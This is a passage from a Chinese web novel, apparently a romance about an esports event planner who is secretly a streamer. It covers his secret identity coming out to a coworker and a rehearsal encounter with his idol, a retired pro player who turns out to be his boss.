“就知道你肯定比我们消息灵通。”他笑了一下提醒道,“但是别说出来了,我们领导说这个是保密的,不让透露。” 郁思白有点惊讶了。 不转念一想,coco本来就是低调的性格,再加上他首个全华班冠军队长的身份,被这种特殊对待也说得过去,大概是官方有什么要给粉丝的惊喜吧。 虽然说的过去,但他心里还是有点疑惑。 十周年嘉年华毕竟是一个全球范围的活动,只给coco一个人特殊对待,,会不会有点儿……给他拉仇恨了。 想了一下,郁思白还是开口问:“保密是为什么?你们官方是对他有什么特殊安排吗?” 郑主管摇了摇头说:“这我就不清楚了……res你去问问本人?” 郁思白摆手:“算了,也不是什么大事。我还得忙展台那边呢。” “加油res!期待!”高大严肃脸的郑主管说着,又摆出动漫少女娇羞握拳的鼓劲姿势。 说实在的,在此之前郁思白以为他和季闻则两个,已经是线上线下形象差别最大的那种类型了,郑主管实在是刷新了他的认知。 成功让郁思白眼前一黑后,又问:“需要人帮忙吗?我这儿可以给你拨两个干杂活的。” 郁思白婉拒:“没事,我有帮忙的人选,谢了兄弟。” 郑主管立刻哥俩好地往他肩膀上一拍:“兄弟!” 郁思白被拍得一晃。 你们直男下手真……不对,什么叫你们直男。 他深吸了一口气,虚弱告辞,转身离开,一路七拐八拐,走到一组在这边的临时办公室,心里才彻底冷静下来,逐渐进入工作状态。 这个项目离正式收尾就只差一个交接流程,因此他上午过来的时候,办公室里一个人都没有,是刚刚郁思白通知了他们要准备启用备用方案,武天骄和小穆才前后脚来了。 “组长!不是说你回沪市,不过来了吗?”小穆睁大眼睛惊道。 武天骄道:“独立展台区要撤换的事,组长过来看看……组长,后来怎么处理的?” “我接手做了。”郁思白道,“最好还是不要随便换掉,不合适。” 他说话的时候,目光看向小穆的方向,清楚地看到这小孩倒抽了一口气,见他这样反应,郁思白心理的猜测也就坐实了八分。 武天骄我觉得有什么问题,点了下头,刚要说话,就听小穆问。 “组长,我听说这个,不都是他们向粉丝征集吗……?” “我觉得我应该也算。”郁思白道。 “组长,要帮忙吗?”武天骄问。 郁思白摇头:“你去盯着备用方案的事,小穆跟我一块就行……小穆?” 被点了名,小穆才一个激灵恍然回神:“到!好!知道了组长。” 武天骄看着这小孩,笑了一下道:“这家伙从那天晚上打完游戏就开始这样了,工作的时候倒是一贯很认真,但一闲下来,就老是魂不守舍的。我和江勘还说呢,是不是被组长的游戏技术征服了,老想着再跟你玩呢。” “不不不是!”小穆立刻摆手,目光带着迟疑和好奇看向郁思白。 郁思白颔首:“下班聊聊吧,我下午就把图纸定下来,你晚上正好帮我搭把手做展台。” 小穆乖乖答应下来- 郁思白的专注工作状态,效率高得可怕,说是一下午定下图纸,实则三个小时过去就已经收工了——还是推翻两遍,仔细打磨后的用时。 小穆还是第一次这么长时间的看到组长工作,从敬佩到震惊,最后到一副“毁灭吧”的麻木表情,也只用了三个小时。 他冷不丁就想起之前钱翀卢近仁搞出的事儿——组长被要求加班,他试图留下帮忙却被天骄姐拉走,告诉他组长一个人就可以。 那时候,小穆还兀自难过了一阵,觉得组长真是孤零零的好可怜。 他们都认为你足够强大,强大到不需要别人的帮助,但是忽略了你也是只是一个□□凡躯的人,呜呜! 现在他要收回这句话。 “组长。”小穆呆滞开口,“你有点不像人类了。” 郁思白很轻地笑了声,抖了抖打印出来的图纸,淡声道:“谢谢。” 他侧头看向呆掉的小年轻:“走吧,去吃饭。我请你?” 小穆亦步亦趋地跟上,忙不迭说:“不用组长,应该我请你才是!” “没这说法。”郁思白道,“说不准,一会儿还要我给你付封口费呢。” 他听见小穆轻轻“嘶”了一声,犹豫了两秒开口。 “组长,你现在说话好像季总啊……嘿嘿。” 郁思白:……? 不是,季闻则给全世界投广告费了吗?怎么像转转一样到处都是啊。 最后郁思白还是没有选择在外面吃,小穆这小孩实心眼儿,不管因为什么请他一次,他心里肯定总惦记着,总归是不合适。 他索性直接打了个车,回酒店吃房费自带的自助晚餐了,只在点咖啡的时候,多给他点了一杯。 酒店自助餐味道不差,郁思白拿了一圈东西坐下后,小穆也很快端着盘子期期艾艾地走过来了。 对了,上一次脑子里用到期期艾艾这个词,还是看到季…… …… 还在季! 郁思白面无表情,猛地攥拳,锤了一下桌面,吓了小穆一跳。 “没什么,不关你的事。”郁思白板着脸,开门见山,“你有什么想问的就直接问吧。” 小穆嘴皮子哆嗦了一下:“其实也、也不是一定要问……” 虽然嘴上这么说,但他神情明显是欲言又止。 郁思白看了他一眼,忽然又想起自己开始怀疑季闻则身份时的心情。那种期待着又怕期待落空、惴惴不安的情绪……体验一两次或许很新鲜,但如果总是这样,恐怕就会有种被世界玩弄的团团转的感觉。 幸好,季闻则没有这样的意思,而他也没给季闻则这个机会。 “你问。”郁思白说。 小穆捏了捏叉子,措辞半天才问:“组长……你知道Respit2这个主播吗?呃,他打游戏的技术和你一样厉害,而且感觉他的声音跟你有点像呢……对了,他有一个朋友,声音也和季总,嗯,有点像……” 有那么一瞬间,面前的小穆和之前心有猜测的自己重叠了,他看见小穆犹豫不决地扣着餐盘的印花,叉子戳了好几下都没戳中食物,连吃饭都吃得心不在焉。 小穆是个好孩子,郁思白想。更何况Respit2的身份,他连那个郑主管都告诉了,没道理小穆和郑主管放在一起,他反而丢下自家孩子,去更信任别人吧。 小穆还在碎碎念着:“嗯组长我知道八成是巧合啦,就是随口问一下,组长,你要是不知道的话就算——” “对,Respit2是我。”郁思白干脆道。 哐啷一声,小穆手里的叉子掉进餐盘里,小孩的眼睛顿时睁得溜圆。 郁思白还没见过他的脸上出现这么大一双眼睛,夸张的让他有点想笑,旋即,心里生出一股莫名的畅快感。 原来不用遮遮掩掩的感觉是这样。 小穆惊得连勺子都忘了捡,喘了一大口气说:“组长,原来你说你是比tigerrr更大的主播……不是骗我!” “组长你……你也太厉害了吧!!” 毫不遮掩的钦佩就这样直白的被捧出来,郁思白嘴角扬了扬。 曾经让他极度谨慎的“掉马恐惧症”,好像在不知不觉间就被治好了。 原来被生活里的同事朋友知道自己主播的身份,也不会怎么样。 原来别人也不会说“你怎么不务正业”、“你怎么去做这些”。 季闻则说的对。有些事儿,可能只是他没有遇见一个好的开端。 ……可恶。 怎么又在季。 郁思白抿唇收敛了笑容,轻咳一声道:“至于朋友的事……你可以自己去问朋友本人?我不代为做答。” 他都这么说了,小穆哪还有什么不懂的,立刻心领神会,头摇的像拨浪鼓一样:“不了不了,我哪敢啊。” 紧接着,他又举手保证。 “组长你放心,不用封口费,我绝对不跟别人说。出了这个餐厅门,我立刻忘得一干二净!” “放心,你不是第一个知道的。”郁思白说。 小穆松了口气,又问:“那是最后一个吗?” 郁思白顿了一下:“应该……不会是吧。” 他或许也能跨出这道自己画地为牢的界限了。 说实话,先前胡啸在一组的那段时间,时不时呼朋引伴地叫着大家一起打游戏,郁思白说不羡慕是假的。 以后或许他也可以了。 于是他关怀了一下组里年纪最小的小孩,和蔼道:“等忙完,我也可以带你上分。” 小穆嘿嘿两声,道:“哎没事我也不急……组长你是不是要先跟朋友双排?” 然后他上一秒还和蔼的组长,下一秒立刻挂脸。 “我想了一下,玩物丧志的事少做,我还是带你加班吧。” 小穆:QAQ? “快吃吧,吃完跟我去裁展台用的板子。” 郁思白又恢复了惯常的人机冷脸,心道果然还是要和这帮小孩保持距离。 不能惯得他们什么都敢问。 该说不说,小穆不愧是被季某看好的一组继承人,一提到工作也是立刻正色,问:“有什么其他我要准备的吗?” 郁思白想了一下:“明天空闲的时候,你去帮我找个纸箱子吧,干净一点的。” 小穆点头:“好的组长,要多大的?” 郁思白指了指自己的脑袋:“能套这个上面就行。”他解释,“过两天嘉年华还有年度主播领奖,我得上台,需要做点伪装。” 小穆立刻记下:“保证完成任务!” 嗡嗡。 郁思白倒扣在一边的手机震了两下,郁思白垂眸一瞥,顿时从后脊漫开一种过电的感觉,像被肉食动物注视着。 【季闻则:下班了吗?】 郁思白的工作脑被一击即溃。 他思考半晌,回。 【没有,吃完饭要去加班。】 没过几秒,对面又跳出消息。 【季闻则:我以为你不会回我了呢】 郁思白又是一震,脑海里下意识就描绘出他说这话时候的样子,半垂着眼睛,声音变轻变低,虽然一眼就知道是演的……但还是…… 怪可怜的。 郁思白实在是个善良的人,抿了抿唇,回他。 【……那也不至于吧。】 【你别多想,我要去工作了。】 对面像知情知趣的电子宠物,也不多话,只说了句【早点休息】。 他这样,反倒让郁思白心里有些不上不下的。他猛灌了几口咖啡,把古怪的思绪冲走。 吃过饭后,大小两个工作狂在独立展台区,叮叮当当裁了半晚上板子,10点多才收工回酒店。 郁思白带了一部分材料,准备回去再裁一会儿,小穆有样学样,趁郁思白不注意,也扛了两块回去,发誓要向组长全方位看齐。 怕他不了解图纸,不小心裁错,郁思白索性带着他一起,又在酒店24小时开放的餐厅裁板子到十一点半。 一连三天,天天如此,转眼就到了周五白天。 小穆看着年轻,经验不多,但动手能力很强,郁思白对这小孩真是越看越满意,又忍不住开始思考自己走后他的去处。 等小穆再长两年,也就到了他当年接手一组的年纪,但如果自己明年就要去京市…… 等等,现在想那么多做什么。只是季闻则画的一块饼而已,明明都是还没定下来的事儿,到时候和他商量一下再说吧。 说起来……季闻则最近真是乖得离谱。 虽然每天都问他【下班了吗】,但他只要回一张和小穆还在拼板子的照片,他就立刻表示【那你忙】。 郁思白趴在展台上,走着神对着自己的纸箱方块头涂涂画画,小穆检查着展台的各处细节,一边扒拉,一边说:“组长,向日哥他们最近可闲了,据说连季总每天都准时下班。” 准时下班?他还有这么闲的时候么。 小穆好奇:“组长,你说季总会不会是下班回家打游戏啊?” “你想太多了。”郁思白笑他。 “季总日理万机,就是在粤市度假都每天脚不沾地,那个工作强度,就连想调休都找不到空档。” 说到这儿,郁思白笔尖顿住,抬头看了眼从图纸终于变成现实的展台,忽然想。 那他肯定不会过来了。 人也真是奇妙又善变的生物。郁思白莫名松了口气。 明明最开始,有这个展台的初稿时,他满脑子想的,都是Execut2本人站在台前的样子。 但现在展台落了地,他反倒不希望这人出现了。 ……都怪皮带。 郁思白轻啧一声,继续低头装饰自己的方块头,画完之后,犹豫片刻,又拿了两块剩下的泡沫板,裁成两只犄角的形状,一边写上【Execut2】,另一边写上【爱!狂粉!】。 这也是他很久以前说过的话,说如果有一天能站在领奖台上,他一定要把那个【Execut2!爱!狂粉!】的表情包一并带上去。 虽然现在情势比较尴尬…… 但已经委屈展台了,总不好再对当年小小的自己食言。 再说了,他对Execut2纯洁的偶像之情天地可鉴,他有什么好心虚的? 郁思白把轮廓填成漂亮的圆嘟嘟花体字,想了一下,终于还是抬笔,在后面补了一句。 【(仅线上)】 小穆一眼瞥见,哈哈笑道:“组长!你还真是公私分明。” 郁思白肃然:“这是必须强调的……小穆,再给我两块小板子。” 他说着,用板子把这两只犄角加固了一下。 不然万一随便一碰就断了,那可怎么办…… 不吉利。 “那组长,我晚上就不过来陪你彩排了?”小穆迟疑,“但组长你顶着这个箱子,视野会不好吧。” “还可以,走路小心点就行。”郁思白说,“而且场馆咱们都走烂了,有什么担心的。” 小穆觉得组长说的全部都对,最后检查完展台,两人就暂时离开了,郁思白准备回去补一个觉,晚上彩排人多混乱,还不知道要到几点。 大概是心里搁着事儿,郁思白没闭一会儿眼睛就醒了。 醒来后,他总觉得眼皮狂跳,左眼跳完右眼跳。虽然不知道哪边跳灾哪边跳财,但既然都跳了,那必定是封建迷信,干脆一个都不信。 郁思白又去先前去过的那家小面馆吃了一顿,这次,他警惕地什么饮料都没拿,只是不知道是不是因为没有饮料佐餐,小面的味道似乎没有上次好了。 他戴上口罩,用今早刚拿到的嘉宾证,第一次从正门进了场馆,婉拒了工作人员的帮助,熟门熟路来到了后台。 先前的一组临时办公室,已经在交接完毕后,被征用成了嘉宾休息室,郁思白坐的还是自己原来的位置,只不过上面的【郁思白】换成了【Respit2】。 这种小魔仙变身的感觉,还挺神奇的。 郁思白逛了一圈,又去隔壁郑主管的办公室里,拎出自己下午寄存在这的方块头,戴上左右看看,很是满意。 虽说视野有点受限,但能看清面前的一亩三分地也够了。 郑主管更是连连称赞:“有假面骑士的感觉了!” 郁思白比了个大拇指。 “对了res,我刚刚……在外面看到了神秘嘉宾。”郑主管突然偷感十足,问,“你跟他是一块来的吗?” “怎么可能。”郁思白道,声音在箱子里显得有些闷。 他和coco又不是住一个酒店。 旋即他又问:“现在外面不是EMEA的选手在彩排站位吗?他怎么会在。” “有熟人吧。”郑主管道。 郁思白顶着方块点头,心道也正常。 “我出去找找。”他说完,摸出手机给楚别夏发了个消息,问他的位置。 【coco:我在台下呢,S区的位置】 【好!我来了!/冲鸭.jpg】 方块头在一众素面朝天的人群里,格外显眼,路过的人总要多看几下,但郁思白半点也没觉得尴尬。 如果他只是戴个口罩,被这样盯着肯定会不自在。 但如果把整张脸都装到箱子里,那又不一样了。 他走得昂首阔步,穿过一众外国面孔,却突然发现,自己周围不知什么时候,好像冒出一条真空带一样。 那些外国选手看到他,先是驻足观看,视线略高一些,大概是看着他犄角上写着的【Execut2】,等看清后,又立刻一脸敬畏地绕开,不论平日里是多刺头的性格,在推特上能一人喷一万个,也不论年纪老少,皆是如此。 他甚至看到两个经常喷cn赛区的种族歧视怪,此刻也躲得老远。 郁思白忽然就有了一种狐假虎威的感觉,手一背,一张脸躲在箱子后面,笑得梨涡都比平时深了一倍。 写个Execut2真是最正确的决定! 爽啊! 他不急不缓穿过长长的走廊,抬手撩开后台和场馆中间遮光的厚厚门帘。 场馆里只有舞台上亮着灯,其他地方,大片大片的都是黑暗,突然从明亮的后台出来还有些不适应。 即使郁思白在这段路走过很多次,心里记得出门的时候,脚下有一道台阶,但视线被黑暗唰地笼罩之后,他还是不小心踉跄了一下。 他极顺手地去扶旁边充当栏杆的箱子,手还没伸出去,肩膀突然就被什么东西稳稳撑住。 一瞬间,他脑海里闪过似曾相识的既视感。 几个月前他第一次来这个场馆踩点,也有人用手背这样扶了他一下,很绅士。 但现在撑住他的,是一双温热干燥的手,掌心隔着薄薄的上衣,紧贴住他肩膀的皮肤。 郁思白下意识要回头。 可方块头视野受限,他不得不整个人都跟着转身,头扬的很高,才看到好心人的脸。 “怕黑还把自己塞到箱子里……你怎么想的?” 好心人顶着一张绝对另有所图的脸,失笑开口。 ……什么好心人。 哪有好心人! 有鬼啊! 郁思白深吸了口气。 季闻则垂眸,看见面前彩色的小方块人先是愣了一会儿,突然一个低头,脑袋照着他的胸口就撞了过来。 咚! 咚! 方块猛地撞了两下,咔擦,头上两个质量颇好的小犄角终于断了,紧接着,犄角被方块人乱七八糟地扒拉下来,掉到地上。 季闻则下意识蹲下去帮他捡,那轻飘飘的犄角,却被眼疾脚快的小方块一脚踢飞。 郁思白心跳得飞快,几乎下意识做完一整套销毁流程后,才透过盒子的两只小洞,看向面前的“好心鬼”。 ……刚刚扶他的掌心确实是热的。 季闻则单膝蹲在地上,目光下意识追向被踢远的、写着Execut2的纸片,顿了一下,然后缓缓抬头。 “……如果你要踢我出局的话,大可不必这样。”他轻声说,声音不似往常。 这似乎是郁思白第一次从这样俯视的视角看这张脸,他今天没戴眼镜,目光头一次毫无遮挡,自下而上地看他,微微蹙眉。 他向来都是高高在上的,垂眸低眉看向别人的,从没有像现在这样…… 可怜。 郁思白喉结滚了一下,忽然觉得唇瓣干涩,下意识道。 “我不是那个意思……”他抿了两下唇,突然问,“你,你看到了?” 看到他写的……什么……爱、狂粉了? 在昏暗的灯光里,季闻则薄薄的眼皮眨动,一闭一张,像拉下幕布似的,一瞬间换了景致。 半蹲仰视的姿势丝毫未变,他却眉头一松,眼尾微弯,唇角一点一点地,慢慢挑了起来。 “是啊。”他不急不缓地莞尔。 “我跟了你一路。”—— 作者有话说:[猫爪] 或许无人发现,但封面左下角弹幕有一句【男鬼1】hhhh 第56章 郁思白唰地摘了自己的方块头:“你疯了?你怎么不戴口罩啊?” 他头套下面的额头汗津津的, 刘海都湿了两缕,被胳膊带起来的风一吹,还有点凉意。 但他也顾不得这些, 拿着自己的头套,就要往季闻则头上塞, 却卡在了一半。 郁思白试图用力, 结果发现是自己的圆裁得太小,季闻则的头围比他略大一圈,盒子的边缘正好卡在他鼻梁一半的地方,只能像帽子一样,半挂在他头上。 正正好遮住眼睛,还格外突出了他优越的脸部轮廓, 不得不说,还挺帅的。 郁思白顿了一下, 卡住的头壳让他冷静下来。 不对, 季闻则已经这样跟了自己一路了。 那他的脸,不是早都全被看到了吗? 他松了使劲往下按头壳的手, 抿了下唇说:“……拿着。”然后转身就走。 身后传来季闻则的声音:“去哪儿?” 郁思白闷头往前:“把你捡回来。” 他走得头也不回,恨不得就这么一步走回酒店被窝,然后钻进去再也不出来。 但显然,他没有哆啦A梦的任意门。 眼睛一旦适应了这片黑暗, 至少也是能看清路的, 郁思白很快在不远处的地方找到了刚刚被自己踢飞的两个小犄角。 该说不说, 他的加固做得确实到位,犄角没有从中间断掉,而是从和箱子连接的地方掀开的,如果要补的话也好弄, 胶水重新粘一下的事儿。 郁思白吹了吹上面的灰,转身往回走,就发现季闻则只是站起来,头上顶着的纸壳子被他稍稍掀开些,鼻梁被压出一道红痕,露出那双笑眯眯的眼睛。 倒也的确像微信里一样很乖。 且他今天没有穿惯常的衬衫风衣,一整套休闲的衣服,一下子把他的年龄拉了下来,顶着这个方块帽子,压根看不出来他现在是个“季总”。 郁思白把【Execut2】和【爱!狂粉!】偷偷揣进裤兜,两边的兜各自露出一个尖尖的犄角顶端来,走起路来,存在感十分强。 郁思白努力忽略这个硬邦邦的感觉,走过去,从他头上接过自己的方块壳,问:“你……你是来巡查?” 季闻则随意拨弄了一下被压乱的头发,道:“不是。” 他这么一拨,郁思白才发现他连发型都换了,没有像平时一样梳上去,而是做了个没什么打理痕迹、但显然很有型的发型。 心机。 “我来彩排。”他说。 郁思白懵住,哑了两秒才问:“你……所以你才是那个神秘嘉宾?” 季闻则轻轻笑了声:“不然你以为是谁?” ……当然是coco啊!郁思白咬了下牙。旋即又想到一个问题。 他以为神秘嘉宾是coco,所以特意把自己和神秘嘉宾的座位,安排在了一起。 意思是,他今天、明天,都要跟这个解自己皮带的人并肩坐着吗? 郁思白深吸一口气,抬手按了下额角,问:“公司那边没关系?” “还行,最近不怎么忙。”季闻则说。 “我不是说这个。”郁思白道,“我是说,你……重新当Execut2,出现在这儿,总部那边没关系吗?” 季闻则顿了一下,忽地莞尔:“那还是你跑了关系比较大。” 郁思白一下子僵住,下一秒,猛地反应过来,立刻反手把自己的方块头一甩,哐地一声,扣回自己头上。 舞台上的一束射灯恰好扫过来,瞬间把昏暗的周围映得纤毫毕现,连带着清清楚楚被照出来的,还有纸箱下面,比正常肤色偏红一点的脖颈。 郁思白动作太仓促,连纸箱都扣反了,此刻在头壳里睁眼瞎,半天找不到自己的“眼睛”。 季闻则轻笑,抬手帮他把箱子正过来,两只黑黝黝的孔洞终于面向他,让他能隐约看见里面那双小动物一样的眼睛。 “我也不是故意跟着你的。”季闻则解释,“我只是正好要去cn选手那边准备彩排。你去哪?” 主播们的彩排是最晚的,让郁思白现在连个脱身的理由都找不到,只得说:“……我去找coco。” “一起?”季闻则说。 他也不想一起,但好像不选这个,就又坐实了“他要跑”一样。 郁思白定了定神,既来之则安之,方块脑袋一摆,道:“你走前面。” “刚刚问你呢,自己怕黑,怎么想到这么个……损招。”季闻则看了眼他的方块头。 他这么一提,郁思白才想起方才这人说的“明明怕黑”,眨了下眼睛问:“你怎么知道我怕黑?” “猜的。”季闻则说。 郁思白问:“怎么猜的?” 季闻则回头,给了他一个“你确定要听?”的眼神,似乎试图打消他的念头,但越是这样半遮半掩,越会勾起郁思白的好奇心。 他手一挥,果断道:“说。” 季闻则:“那天下车在庄园里走的时候,灯一暗,你就把我攥得很紧……唔。” 一只手立刻带着要把人勒死的力气,从后面捂住了他的嘴,季闻则顺着他的力道微微后仰,被捂着的嘴还在轻笑。 笑声带着温热的呼吸,扑在郁思白掌心,莫名烫了他一下,他触电般缩回手。 季闻则无辜回头:“你让我说的。” 郁思白咬牙,心道好奇心害死猫。 果然,季闻则想主动抖出来的,没一件好事! “不把你的方块头摘了么?”季闻则问,“你也不扎几个透气的孔,小心热中暑了。” 这倒是句难得的好话。 “晚上回去改进一下。”郁思白说完,又解释,“选手那边估计有人开直播,还是戴着吧。” 说罢,他又看向季闻则:“你……真不用戴口罩?” 季闻则问他:“你有么?” 有一个戴过一下的。郁思白差点脱口而出,但很快反应过来,咽了下去,摇头。 “没。” 季闻则似笑非笑地看他,一副已经把他看穿的样子。 两人很快走到cn选手聚集的地方。cn这边把选手和主播们的位置都放在了一片区域,所以才让郁思白有了在座位上动手脚的机会。 但,早知道还不如不动了! 郁思白越往前走越抗拒,但该来的总会来。他很快看到了椅背上贴着的、两个挨起来的牌子。 【Respit2-主播区】 【临时嘉宾-选手区】 他听见季闻则笑了一声:“临时嘉宾……这么巧啊,能和res老师坐在一起。” 郁思白握紧拳头:“res老师比较希望临时嘉宾和colpsar选手换个位置。” “那不合适吧。”季闻则道,“宁拆一座庙,不毁一桩婚。” 他说着,指了指不远处同样并排着的两个名字。 【colpsar-TUG选手区】 【founder-TUG选手区】 郁思白一哽。 讨厌你们拖家带口的人! 选手们三三两两聚成一堆,有些站着有些坐着,大多都在闲聊,也有举着自拍杆在人群里穿梭的社牛。 因为人多,所以这片的灯光明显更亮一些,郁思白和季闻则刚从昏暗的地方走近,就吸引了一部分人的视线。 “嘶,这人怎么长得有点眼熟……” “哈哈哈靠,谁顶了这么个大箱子,这么有活儿。” “不知道啊……” 窃窃私语的声音传开来,不远处正和人说话的楚别夏听见“箱子”两个字,立刻回头。 饶是他已经做好了准备,还是被郁思白的装扮逗得一笑。 旋即他看到站在方块res旁边的男人,目光顿了顿,用胳膊肘轻轻拐了一下旁边的founder。 两人对视一眼,绕开观望的人群走过去。 “呀,怎么还多带了一个?”楚别夏戳了戳方块人的盒子,调笑问。 “他……呃。”郁思白张了张嘴,也不知道怎么说,平日里在网上喊得很溜的【Execut2、卡神】之类的称呼,这会儿变得烫嘴似的。 段骋雪看向季闻则,挑眉问:“你今天是……?” 季闻则轻哂,也不说话,抬手翻开自己的挂在胸前的铭牌。 他正站在灯光下,刚把牌子翻开,附近的人便好奇地三三两两探头过来,一看,都是愣住。 周围先是一片死寂,不知过了多久,也不知是谁带头,喊了一句。 “卧槽!” 一句话像水入滚油,瞬间激起噼里啪啦的一阵骚动。 “我靠!!谁?!” “Execut2!Execut2!!” “啊?啊啊啊卡神!我操!” “头发一染都不认识了啊啊……” “原来神秘嘉宾是卡神?!我还以为是ICG其他谁……靠!卡神你、你不会是要回来打比赛吧?” “包的吧,不然怎么会突然出现?” “对啊,前两天不还在res直播间晃了一圈吗?微博那边也突然活了……我就说!肯定是有大动作!” “我靠你们ICG的人有点太不给面子了吧?瞒的这么紧?” “卡神今年才30不到吧。正是闯的年纪啊!” “差不多,国外他们多的是二十八九的选手……大安老师不是都三十五了还打呢?” 几乎瞬间,人群像潮水一样一层层涌上来,大多都是些vctcn的老面孔,二十七八起步,上不封顶。 再年轻一些的新生代小选手们,对“Execut2”或许也熟悉,但这个名字对他们来说,已经是历史里的人了。 也只有这些老面孔,里面大多都是Execut2当年帮过的人,才能在这种时候一拥而上,跟他说两句话。 季闻则瞬间被围了起来,像贡品一样,大家都要凑上来说一句,但也只是说话而已。 【Execut2】这个名字在cn赛区,更像是一个符号,是象征性的存在。哪怕是老选手,他们其中相当一大部分人,也都是第一次在线下面对面见到Execut2。 他们瞬间抛下了自己的前辈包袱,一个个的,在自己后辈们面前,着急忙慌地要跟他们的“前辈”说两句话。 看得出,vctcn对“Execut2”不可谓不推崇,只是尊敬有余,亲近不足。 郁思白透过他窄小的孔洞看过去,只觉得像看一场电影。 他们越是尊敬,他看着,心里就越是生出些酸涩来。 ……为什么你当年没能在vctcn接着打下去呢。 如果你能打下去该有多好。是不是现在也能有一支可以和你勾肩搭背的兄弟队伍,有很多亦敌亦友的选手。 郁思白忽然想起自己从后台走过来的那一路。 他原先以为,自己是因为额头上的【Execut2】字样,才吓得那些人退避三舍,哪曾想是真的狐假虎威。 只是,Execut2在国外就这么受排挤吗? 好像是的。 他细细想来,竟然完全没有办法反驳这件事。 不论当年,还是现在,Execut2在国外似乎一直独来独往,哪怕和队友之间,也都是淡淡的同事情。 毕竟这位同事从没和哪支队伍长久过,今年是队友,明年或许就是把你打得落花流水的对手了。 再加上国籍的差异,谁又能生出亲近之意来? 郁思白忽然吸了下鼻子,被不小心一挤,下意识就要往后退。 刚退了半步,季闻则就好像背后长眼睛似的,反手轻轻抓住他的手腕。 旁边还有人在喊他“卡神”,可季闻则却只回头,看向这个一言不发的小方块人。 他比了个稍等的手势,在一片嘈杂里,侧身轻道:“我知道你在想什么,但你可能,想得有点太梦幻了。”他轻笑了声。 方块抬头。 “他们现在对我热情,恰恰就是因为我没在这边打过比赛……所以他们看着我,才能笑得出来。” 这话真的很狂,是季闻则绝不会说的话。 ……是明显的,Execut2的风格。 这样的认知像一道猛地冲进来的水流,把郁思白心里那些沉闷酸楚的情绪,瞬间冲散了。 他抿了下唇,故作平静地“哦”了一声,说:“你还挺会安慰人的。” “实话实说而已。”季闻则轻轻挑眉。 他话音刚落,立刻有人附和:“哎也确实是实话实说。” “也就是因为我们没有竞争关系,不然谁会崇拜暴打自己的对手啊。” “我之前跟我们队的小孩说,你们队长我当年跟Execut2约训练赛,被打得哭了三天三夜,他们不信啊。” “哈哈哈……” 笑过之后,终于有人问:“这是谁啊卡神?” “怎么箱子里还装了一个?” 季闻则看向方块人。 郁思白从裤兜里摸出硌了他一路的两个小犄角,往头上一比划。 老选手还愣着,被挤到圈外的小年轻们顿时炸了锅。 一阵后浪开始蛄蛹。 “诶!是不是res啊!” “Execut2狂粉,还能是谁?” “哦哦哦re宝!你不是主播那边吗?怎么来的这么早?” “res!res!我是你舰长啊!” “来了也不说一声啊res,多不好意思嗷嗷。” “人家跟卡神来的,有你什么事。”末了这人又道,“你俩真成绑定的了吗?” 一句话掷地有声,震得周围安静了一下。 梁路突然跳出来,脸红脖子粗道:“别瞎说!他们——” 蒲璞轻咳一声,眼疾手快把自家差点发射出去的愤怒小孩拽了回来。 “队长!”梁路泫然欲泣,没说出的话顿时淹没在了又喧闹起来的人声中。 蒲璞摇头,心里也很复杂。 前几天梁路魂不守舍地归队后,就把事情一股脑全跟队长通报了。 什么“白哥的偶像竟是他老板”,什么“姓季的对白哥图谋不轨”,什么“我知道反正我也比不过他,所以直接把他的小心思掀了”,什么“呵呵呵等着被白哥甩吧”…… 信息量之大,情节之离谱,让蒲璞第一反应是嗤笑一声,说“你又在哪儿看到的离谱同人文”,res粉丝里有个专门写“ER2”同人的,叫不定什么…… 哪怕梁路再三发誓他说的是真话,蒲璞都将信将疑。 他忙着准备比赛,郁思白忙着工作,蒲璞也没拿这些生活小事打扰他,想着嘉年华反正要见面,到时候当面问问。 没想到,现在也不用问了,一个方块人和Execut2相携而来,挤挤挨挨的被众人围着,像被恭贺的新婚夫夫。 直男蒲璞不得不信,他的直男伙计,可能已经物是人非了。 他试图去看郁思白的表情,结果只看得见一只晃晃悠悠、不以为意的箱子头,一口气没上来,心里顿时生出一种“皇帝不急太监急”的感觉。 这缺心眼儿…… 蒲璞一摸下巴。 res这会儿还乐颠颠儿地站在Execut2旁边,无非只有两种可能。 第一种,他好兄弟Respit2真的是个傻子。 第二种…… 唉,有什么好说的,网上叫了这么多年“Execut2老公”,想必也挺习惯了不是? 蒲璞跟郁思白认识这么多年,算是在场和他认识最久的人了,大学更是合租室友,自然对这家伙的情史了如指掌—— 一张开手,空空如也。 光是他知道的,大学的时候,给郁思白告白的男生女生加起来就两只手数不过来,这还是在这家伙除了上课和课余比赛、其他时间压根不会出现在学校的情况下。 他眼睁睁看见过郁思白来一个拒绝一个的盛况,曾经还问过他,到底什么样的人才能被您老人家看上。 郁思白当时明显是开玩笑,但他说了句“Execut2那样的吧”。 Execut2那样? 后来蒲璞想着,Execut2本人都人间蒸发了,那找个相似的不也有说法吗? 所以在看出梁路心思之后,他才愿意给小孩创造一点机会。 只不过看样子,世界上又要多出一个伤心人了…… 他们res,不亏是一突杀手。 蒲璞正在这边老父亲似的感慨,就听见旁边梁路又咬牙又跺脚,怨念道。 “凭什么!我刚刚都看到了,凭什么他的座位能在小白哥旁边!” 蒲璞叹了口气,摸摸小孩脑袋,悠悠地说:“哎呀,可能是他上面有人吧……对他来说这不是很正常吗?” 梁路闻言,再次一怒之下怒了一下,肩膀都垮了,只能自言自语:“这种事他都要找关系……” 蒲璞拍了拍他的肩膀,安慰道:“小路啊,不是队长不帮你……” 梁路一吸鼻子。 他看见姓季的能陪在他白哥身边一块走过来的时候,心里就冒出了“完蛋”两个字。 他也终于懂了季闻则说的那句“你打乱的不是我的节奏,是他的”。 所以……难道小白哥就这么轻易地,接受了跟男生谈恋爱? Execut2的威力,就这么大吗? 蒲璞眼见自家的祖国花朵已经变成霜打的,想了一下,宽慰。 “没事,想开点小路,你还可以有另一个身份。” 梁路带着求知欲抬头:“什么?” 蒲璞晃晃手指:“娘家人。” 梁路一愣。 蒲璞咧嘴道:“你想被Execut2巴结么?Execut2也算咱们俱乐部的老板……唉小路啊,等你老了退役,去上班之后,可就很难有这种被自家老板巴结的机会了。” 毕竟不是什么人都有他们re宝的好运道。 梁路也才刚满十八岁,大学都不知道是什么样,更遑论职场,闻言似懂非懂。 蒲璞道:“看好了。” 说罢,等人群散了些,他示意梁路跟着自己上前,笑脸一板,眉头一皱,把那副“不满意女婿的岳丈”模样演了个十成十。 “pu宝!”方块头看见他,先是开心招手,旋即看着他黑着脸过来,又吓了一跳。 “这是怎么了?” 蒲璞看了他一眼,打量着他的头套,随后一抬手,直接堵住了他看世界的两个小窗口。 郁思白:? 蒲璞扭头看向季闻则,没有急着开口。 这还是他第一次这么清楚地看到这个人。 